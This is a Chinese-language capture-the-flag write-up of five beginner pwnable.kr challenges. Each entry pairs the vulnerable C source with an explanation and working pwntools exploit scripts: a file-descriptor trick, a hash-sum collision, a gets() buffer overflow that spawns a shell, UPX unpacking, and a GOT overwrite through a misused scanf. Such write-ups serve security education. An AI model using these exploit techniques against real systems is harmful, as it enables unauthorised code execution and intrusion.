pwnable.kr writeup

学习一下 Pwn 。

网址:http://pwnable.kr

[Toddler’s Bottle]

fd

Mommy! what is a file descriptor in Linux?

ssh fd@pwnable.kr -p2222 (pw:guest)

给出了源码 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;

}

查询一下 file descriptor :

Integer value Name <unistd.h> symbolic constant <stdio.h> file stream
0 Standard input STDIN_FILENO stdin
1 Standard output STDOUT_FILENO stdout
2 error STDERR_FILENO stderr

标准 io 中,read 函数的第一个参数需要为 0 (即标准输入),0x1234 转换为十进制为 4660 ,另外 buf 需要等于 “LETMEWIN\n” ,poc 如下:

1
2
3
4
5
6
7
8
9
from pwn import *

pwn_ssh = ssh(host = 'pwnable.kr', user = 'fd', password = 'guest', port = 2222)
print (pwn_ssh.connected())

sh = pwn_ssh.process(argv = ['fd','4660'], executable = './fd')

sh.sendline("LETMEWIN")
print (sh.recvall())

mommy! I think I know what a file descriptor is!!

collision

Daddy told me about cool MD5 hash collision today.
I wanna do something like that too!

ssh col@pwnable.kr -p2222 (pw:guest)

同样给出了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}

int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}

if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}

check_password 函数把传入的数组中的数据(char 类型)转换为 int 类型后求和,总共有 5 个数,而一个 int 占四个字节,长度刚好为 20 bytes ,满足要求。

接着构造需要传入的数据。要使结果等于 0x21DD09EC ,可以先将 (568134124+1) / 5 = 113626825 。前四组数据为 113626825,第五组需要减个 1(即 113626824)。转换一下类型就是 ‘0x6c5cec9’ * 4 + ‘0x6c5cec8’ ,即 ‘\x06\xc5\xce\xc9’ * 4 + ‘\x06\xc5\xce\xc8’。

因为目标服务器使用的是小端序存储,最后需要把传入的字符反一下:

1
./col `python -c "print '\xc9\xce\xc5\x06' * 4 + '\xc8\xce\xc5\x06'"`

poc:

1
2
3
4
5
6
7
8
from pwn import *

pwn_ssh = ssh(host = 'pwnable.kr', user = 'col', password = 'guest', port = 2222)
print (pwn_ssh.connected())

data = '\xc9\xce\xc5\x06' * 4 + '\xc8\xce\xc5\x06'
sh = pwn_ssh.process(argv = ['col', data], executable = './col')
print (sh.recvall())

daddy! I just managed to create a hash collision :)

bof

Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

bof.c :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

一道关于缓冲区溢出的题,需要通过 overflow 来覆盖 key 的值。

ida 载入后进入 func 函数:

可以找到 a1 的地址为 ebp+8h ,s 的地址为 ebp-2Ch,距离差 52,所以要覆盖 52 个字符。

1
2
(python -c "print 'A'*52 + '\xbe\xba\xfe\xca'"; cat) | nc pwnable.kr 9000 
# 同样需要注意后面的字符需要倒序传入;另外这里的 cat 既能让 nc 的 tcp 会话不结束(直到用户输入 Ctrl+C),又可以将用户输入的内容重定向给 nc。

exp:

1
2
3
4
5
6
from pwn import *

pwn_socket = remote('pwnable.kr', 9000)
pwn_socket.sendline('A' * 52 + '\xbe\xba\xfe\xca')

pwn_socket.interactive()

daddy, I just pwned a buFFer :)

flag

Papa brought me a packed present! let’s open it.

Download : http://pwnable.kr/bin/flag

This is reversing task. all you need is binary

ida 载入后发现字符串:”This file is packed with the UPX”,那就用 upx 去解密 elf。

首先安装 upx :

1
sudo apt-get install upx-ucl

之后执行命令解压 :

1
upx -d flag

重新用 ida 载入后找到 flag :

1
2
.rodata:0000000000496628 aUpxSoundsLikeA db 'UPX...? sounds like a delivery service :)',0
.rodata:0000000000496628 ; DATA XREF: .data:flag↓o

UPX...? sounds like a delivery service :)

passcode

Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>

void login(){
int passcode1;
int passcode2;

printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);

printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}

void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}

int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");

welcome();
login();

// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}

login() 中两个 scanf 都没有取地址,这会导致程序使用两个 passcode 的值作为存储输入的地址,如果地址不可写就会造成程序内部错误。

这样就不能直接写入特定的 passcode 值了,思路是 GOT 表覆写。

由于 welcome() 和 login() 函数是连续调用的,导致它们有相同的地址,从下面这两段代码中也可以看出,它们都在 esp+18h 的位置:

1
2
3
4
5
6
7
8
9
10
11
unsigned int welcome()
{
char v1; // [esp+18h] [ebp-70h]
unsigned int v2; // [esp+7Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
printf("enter you name : ");
__isoc99_scanf("%100s", &v1);
printf("Welcome %s!\n", &v1);
return __readgsdword(0x14u) ^ v2;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int login()
{
int v1; // [esp+18h] [ebp-10h]
int v2; // [esp+1Ch] [ebp-Ch]

printf("enter passcode1 : ");
__isoc99_scanf("%d");
fflush(stdin);
printf("enter passcode2 : ");
__isoc99_scanf("%d");
puts("checking...");
if ( v1 != 338150 || v2 != 13371337 )
{
puts("Login Failed!");
exit(0);
}
puts("Login OK!");
return system("/bin/cat flag");
}

这样 name 和 passcode1 就存在于相同的栈空间了。name 的地址为 ebp-70h ,passcode1 的地址为 ebp-10h ,两者相距 96 个字节,有 4 个字节的任意地址写。我们可以把 passcode1 覆盖为 fflush 的地址,然后利用 scanf 把 system 的地址写过去,这样等执行 fflush 时就能执行 system 了(即把 fflush 的 GOT 表值改为 080485E3 )。

system 的地址:

1
2
.text:080485E3                 mov     dword ptr [esp], offset command ; "/bin/cat flag"
.text:080485EA call _system

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']

bin = ELF('./passcode')
cn = ssh(host='pwnable.kr', user='passcode', password='guest', port=2222).process("./passcode")
cn.recv()

cn.sendline('a'*96 + p32(bin.got['fflush']))
cn.recv()

cn.sendline(str(0x080485E3))
print cn.recv()

再记录两条命令:

1
2
objdump -d passcode
readelf -r passcode

Sorry mom.. I got confused about scanf usage :(

  1. 1. [Toddler’s Bottle]
    1. 1.1. fd
    2. 1.2. collision
    3. 1.3. bof
    4. 1.4. flag
    5. 1.5. passcode